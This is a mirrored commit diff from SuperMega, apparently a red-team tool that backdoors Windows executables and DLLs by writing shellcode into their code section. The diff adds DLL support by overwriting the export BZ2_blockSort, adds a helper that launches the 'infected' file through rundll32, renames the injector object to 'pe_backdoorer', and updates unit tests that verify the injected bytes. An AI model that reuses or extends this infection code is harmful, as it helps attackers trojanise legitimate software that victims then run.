mirror of
https://github.com/dobin/SuperMega
synced 2026-06-03 01:27:11 +00:00
feature: inject into dll basic support
This commit is contained in:
@@ -115,7 +115,7 @@
|
|||||||
<div class="row">
|
<div class="row">
|
||||||
<div class="col">
|
<div class="col">
|
||||||
{{ project_dir }}
|
{{ project_dir }}
|
||||||
<div class="custom-line"></div> <!-- Here's the horizontal line -->
|
<div class="custom-line"></div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
|||||||
@@ -18,7 +18,7 @@ from supermega import start
|
|||||||
from app.storage import storage, WebProject
|
from app.storage import storage, WebProject
|
||||||
from sender import scannerDetectsBytes
|
from sender import scannerDetectsBytes
|
||||||
from phases.injector import verify_injected_exe
|
from phases.injector import verify_injected_exe
|
||||||
from helper import run_process_checkret
|
from helper import run_process_checkret, run_exe
|
||||||
from model.project import prepare_project
|
from model.project import prepare_project
|
||||||
from pe.superpe import SuperPe
|
from pe.superpe import SuperPe
|
||||||
|
|
||||||
@@ -224,10 +224,7 @@ def start_project(project_name):
|
|||||||
logger.info("--[ Verify infected exe")
|
logger.info("--[ Verify infected exe")
|
||||||
exit_code = verify_injected_exe(project.settings.inject_exe_out)
|
exit_code = verify_injected_exe(project.settings.inject_exe_out)
|
||||||
elif no_exec == False:
|
elif no_exec == False:
|
||||||
logger.info("--[ Start infected exe: {}".format(project.settings.inject_exe_out))
|
run_exe(project.settings.inject_exe_out)
|
||||||
run_process_checkret([
|
|
||||||
project.settings.inject_exe_out,
|
|
||||||
], check=False)
|
|
||||||
elif no_exec == True:
|
elif no_exec == True:
|
||||||
dirname = os.path.dirname(os.path.abspath(project.settings.inject_exe_out))
|
dirname = os.path.dirname(os.path.abspath(project.settings.inject_exe_out))
|
||||||
logger.info("--[ Open folder: {}".format(dirname))
|
logger.info("--[ Open folder: {}".format(dirname))
|
||||||
|
|||||||
@@ -49,6 +49,19 @@ def clean_files(settings):
|
|||||||
pathlib.Path(file).unlink(missing_ok=True)
|
pathlib.Path(file).unlink(missing_ok=True)
|
||||||
|
|
||||||
|
|
||||||
|
def run_exe(exefile, check=True):
|
||||||
|
logger.info("--[ Start infected file: {}".format(exefile))
|
||||||
|
|
||||||
|
if exefile.endswith(".dll"):
|
||||||
|
args = [ "rundll32.exe", "{},BZ2_blockSort".format(exefile) ]
|
||||||
|
elif exefile.endswith(".exe"):
|
||||||
|
args = [ exefile ]
|
||||||
|
else:
|
||||||
|
raise Exception("Unknown file type: {}".format(exefile))
|
||||||
|
|
||||||
|
run_process_checkret(args, check=check)
|
||||||
|
|
||||||
|
|
||||||
def run_process_checkret(args, check=True):
|
def run_process_checkret(args, check=True):
|
||||||
ret = subprocess.CompletedProcess("", 666)
|
ret = subprocess.CompletedProcess("", 666)
|
||||||
try:
|
try:
|
||||||
|
|||||||
+10
-4
@@ -45,8 +45,16 @@ Shellcode size : {len(self.shellcodeData)}
|
|||||||
Code section size : {sect_size}
|
Code section size : {sect_size}
|
||||||
''')
|
''')
|
||||||
|
|
||||||
|
if self.superpe.is_dll():
|
||||||
|
offset = self.getExportEntryPoint("BZ2_blockSort")
|
||||||
|
logger.info("Inserting shellcode into DLL at 0x{:X} (sizes: sect {} shellcode {})".format(
|
||||||
|
offset, sect_size, len(self.shellcodeData)
|
||||||
|
))
|
||||||
|
else:
|
||||||
offset = int((sect_size - len(self.shellcodeData)) / 2)
|
offset = int((sect_size - len(self.shellcodeData)) / 2)
|
||||||
logger.info(f'Inserting shellcode into 0x{offset:X} offset.')
|
logger.info("Inserting shellcode into EXE at 0x{:X} (sizes: sect {} shellcode {})".format(
|
||||||
|
offset, sect_size, len(self.shellcodeData)
|
||||||
|
))
|
||||||
|
|
||||||
self.superpe.pe.set_bytes_at_offset(offset, self.shellcodeData)
|
self.superpe.pe.set_bytes_at_offset(offset, self.shellcodeData)
|
||||||
self.shellcodeOffset = offset
|
self.shellcodeOffset = offset
|
||||||
@@ -92,11 +100,9 @@ Trailing {sect_name} bytes:
|
|||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
||||||
def getExportEntryPoint(self):
|
def getExportEntryPoint(self, exportName):
|
||||||
dec = lambda x: '???' if x is None else x.decode()
|
dec = lambda x: '???' if x is None else x.decode()
|
||||||
|
|
||||||
#exportName = self.options.get('export', '')
|
|
||||||
exportName = ""
|
|
||||||
if len(exportName) == 0:
|
if len(exportName) == 0:
|
||||||
logger.critical('Export name not specified! Specify DLL Exported function name to hijack with -e/--export')
|
logger.critical('Export name not specified! Specify DLL Exported function name to hijack with -e/--export')
|
||||||
|
|
||||||
|
|||||||
@@ -34,6 +34,7 @@ class SuperPe():
|
|||||||
|
|
||||||
|
|
||||||
def __init__(self, infile: str):
|
def __init__(self, infile: str):
|
||||||
|
self.filepath: str = infile
|
||||||
self.pe_sections: List[PeSection] = []
|
self.pe_sections: List[PeSection] = []
|
||||||
self.pe = pefile.PE(infile, fast_load=False)
|
self.pe = pefile.PE(infile, fast_load=False)
|
||||||
for section in self.pe.sections:
|
for section in self.pe.sections:
|
||||||
@@ -47,6 +48,10 @@ class SuperPe():
|
|||||||
self.ptrSize = 8
|
self.ptrSize = 8
|
||||||
|
|
||||||
|
|
||||||
|
def is_dll(self):
|
||||||
|
return self.filepath.endswith(".dll")
|
||||||
|
|
||||||
|
|
||||||
def is_64(self) -> bool:
|
def is_64(self) -> bool:
|
||||||
return self.arch == 'x64'
|
return self.arch == 'x64'
|
||||||
|
|
||||||
|
|||||||
+7
-9
@@ -26,7 +26,7 @@ def inject_exe(
|
|||||||
carrier_invoke_style: CarrierInvokeStyle = settings.carrier_invoke_style
|
carrier_invoke_style: CarrierInvokeStyle = settings.carrier_invoke_style
|
||||||
source_style: FunctionInvokeStyle = settings.source_style
|
source_style: FunctionInvokeStyle = settings.source_style
|
||||||
|
|
||||||
logger.info("--[ Injecting: {} + {} -> {}".format(
|
logger.info("--[ Injecting: {} into {} -> {}".format(
|
||||||
shellcode_in, exe_in, exe_out
|
shellcode_in, exe_in, exe_out
|
||||||
))
|
))
|
||||||
|
|
||||||
@@ -42,13 +42,13 @@ def inject_exe(
|
|||||||
|
|
||||||
# superpe is a representation of the exe file. We gonna modify it, and save it at the end.
|
# superpe is a representation of the exe file. We gonna modify it, and save it at the end.
|
||||||
superpe = SuperPe(exe_in)
|
superpe = SuperPe(exe_in)
|
||||||
peinj = PeBackdoor(superpe, main_shc, carrier_invoke_style)
|
pe_backdoorer = PeBackdoor(superpe, main_shc, carrier_invoke_style)
|
||||||
|
|
||||||
if not peinj.injectShellcode():
|
if not pe_backdoorer.injectShellcode():
|
||||||
logger.error('Could not inject shellcode into PE file!')
|
logger.error('Could not inject shellcode into PE file!')
|
||||||
return False
|
return False
|
||||||
|
|
||||||
if not peinj.setupShellcodeEntryPoint():
|
if not pe_backdoorer.setupShellcodeEntryPoint():
|
||||||
logger.error('Could not setup shellcode launch within PE file!')
|
logger.error('Could not setup shellcode launch within PE file!')
|
||||||
return False
|
return False
|
||||||
|
|
||||||
@@ -65,8 +65,8 @@ def inject_exe(
|
|||||||
shellcode = file_readall_binary(shellcode_in)
|
shellcode = file_readall_binary(shellcode_in)
|
||||||
shellcode_len = len(shellcode)
|
shellcode_len = len(shellcode)
|
||||||
code = extract_code_from_exe_file(exe_out)
|
code = extract_code_from_exe_file(exe_out)
|
||||||
in_code = code[peinj.shellcodeOffsetRel:peinj.shellcodeOffsetRel+shellcode_len]
|
in_code = code[pe_backdoorer.shellcodeOffsetRel:pe_backdoorer.shellcodeOffsetRel+shellcode_len]
|
||||||
jmp_code = code[peinj.backdoorOffsetRel:peinj.backdoorOffsetRel+12]
|
jmp_code = code[pe_backdoorer.backdoorOffsetRel:pe_backdoorer.backdoorOffsetRel+12]
|
||||||
if config.debug:
|
if config.debug:
|
||||||
observer.add_code_file("exe_extracted_loader", in_code)
|
observer.add_code_file("exe_extracted_loader", in_code)
|
||||||
observer.add_code_file("exe_extracted_jmp", jmp_code)
|
observer.add_code_file("exe_extracted_jmp", jmp_code)
|
||||||
@@ -166,9 +166,7 @@ def verify_injected_exe(exefile: FilePath) -> int:
|
|||||||
# remove indicator file
|
# remove indicator file
|
||||||
pathlib.Path(VerifyFilename).unlink(missing_ok=True)
|
pathlib.Path(VerifyFilename).unlink(missing_ok=True)
|
||||||
|
|
||||||
run_process_checkret([
|
run_exe(exefile, check=False)
|
||||||
exefile,
|
|
||||||
], check=False)
|
|
||||||
time.sleep(SHC_VERIFY_SLEEP)
|
time.sleep(SHC_VERIFY_SLEEP)
|
||||||
if os.path.isfile(VerifyFilename):
|
if os.path.isfile(VerifyFilename):
|
||||||
logger.info("---> Verify OK. Infected exe works (file was created)")
|
logger.info("---> Verify OK. Infected exe works (file was created)")
|
||||||
|
|||||||
+1
-4
@@ -195,10 +195,7 @@ def start_real(settings: Settings):
|
|||||||
if payload_exit_code != 0:
|
if payload_exit_code != 0:
|
||||||
raise Exception("Payload exit code: {}".format(payload_exit_code))
|
raise Exception("Payload exit code: {}".format(payload_exit_code))
|
||||||
elif settings.try_start_final_infected_exe:
|
elif settings.try_start_final_infected_exe:
|
||||||
logger.info("--[ Start infected exe: {}".format(settings.inject_exe_out))
|
run_exe(settings.inject_exe_out)
|
||||||
run_process_checkret([
|
|
||||||
settings.inject_exe_out,
|
|
||||||
], check=True)
|
|
||||||
|
|
||||||
|
|
||||||
def obfuscate_shc_loader(file_shc_in, file_shc_out):
|
def obfuscate_shc_loader(file_shc_in, file_shc_out):
|
||||||
|
|||||||
@@ -38,8 +38,8 @@ class DerBackdoorerTest(unittest.TestCase):
|
|||||||
|
|
||||||
shutil.copyfile(exe_path, exe_out_path)
|
shutil.copyfile(exe_path, exe_out_path)
|
||||||
|
|
||||||
peinj = PeBackdoor()
|
pe_backdoorer = PeBackdoor()
|
||||||
result = peinj.backdoor(
|
result = pe_backdoorer.backdoor(
|
||||||
1, # always overwrite .text section
|
1, # always overwrite .text section
|
||||||
1, # EntryPoint change
|
1, # EntryPoint change
|
||||||
shellcode_path,
|
shellcode_path,
|
||||||
@@ -49,7 +49,7 @@ class DerBackdoorerTest(unittest.TestCase):
|
|||||||
|
|
||||||
self.assertTrue(result)
|
self.assertTrue(result)
|
||||||
code = extract_code_from_exe_file(exe_out_path)
|
code = extract_code_from_exe_file(exe_out_path)
|
||||||
extracted_code = code[peinj.shellcodeOffsetRel:peinj.shellcodeOffsetRel+len(shellcode)]
|
extracted_code = code[pe_backdoorer.shellcodeOffsetRel:pe_backdoorer.shellcodeOffsetRel+len(shellcode)]
|
||||||
self.assertEqual(shellcode, extracted_code)
|
self.assertEqual(shellcode, extracted_code)
|
||||||
|
|
||||||
os.remove(exe_out_path)
|
os.remove(exe_out_path)
|
||||||
@@ -68,8 +68,8 @@ class DerBackdoorerTest(unittest.TestCase):
|
|||||||
|
|
||||||
shutil.copyfile(exe_path, exe_out_path)
|
shutil.copyfile(exe_path, exe_out_path)
|
||||||
|
|
||||||
peinj = PeBackdoor()
|
pe_backdoorer = PeBackdoor()
|
||||||
result = peinj.backdoor(
|
result = pe_backdoorer.backdoor(
|
||||||
1, # always overwrite .text section
|
1, # always overwrite .text section
|
||||||
2, # Hijack
|
2, # Hijack
|
||||||
shellcode_path,
|
shellcode_path,
|
||||||
@@ -81,13 +81,13 @@ class DerBackdoorerTest(unittest.TestCase):
|
|||||||
|
|
||||||
# code
|
# code
|
||||||
code = extract_code_from_exe_file(exe_out_path)
|
code = extract_code_from_exe_file(exe_out_path)
|
||||||
extracted_code = code[peinj.shellcodeOffsetRel:peinj.shellcodeOffsetRel+len(shellcode)]
|
extracted_code = code[pe_backdoorer.shellcodeOffsetRel:pe_backdoorer.shellcodeOffsetRel+len(shellcode)]
|
||||||
self.assertEqual(shellcode, extracted_code)
|
self.assertEqual(shellcode, extracted_code)
|
||||||
|
|
||||||
# jmp
|
# jmp
|
||||||
# 48 c7 c2 d7 fb 42 00 ff d2 5b 0f b7
|
# 48 c7 c2 d7 fb 42 00 ff d2 5b 0f b7
|
||||||
# 48 c7 c6 d7 fb 42 00 ff d6 5b 0f b7
|
# 48 c7 c6 d7 fb 42 00 ff d6 5b 0f b7
|
||||||
jmp_code = code[peinj.backdoorOffsetRel:peinj.backdoorOffsetRel+12]
|
jmp_code = code[pe_backdoorer.backdoorOffsetRel:pe_backdoorer.backdoorOffsetRel+12]
|
||||||
self.assertEqual(jmp_code[0], 0x48)
|
self.assertEqual(jmp_code[0], 0x48)
|
||||||
self.assertEqual(jmp_code[1], 0xc7)
|
self.assertEqual(jmp_code[1], 0xc7)
|
||||||
#self.assertEqual(jmp_code[2], 0x??) # variable
|
#self.assertEqual(jmp_code[2], 0x??) # variable
|
||||||
|
|||||||
Reference in New Issue
Block a user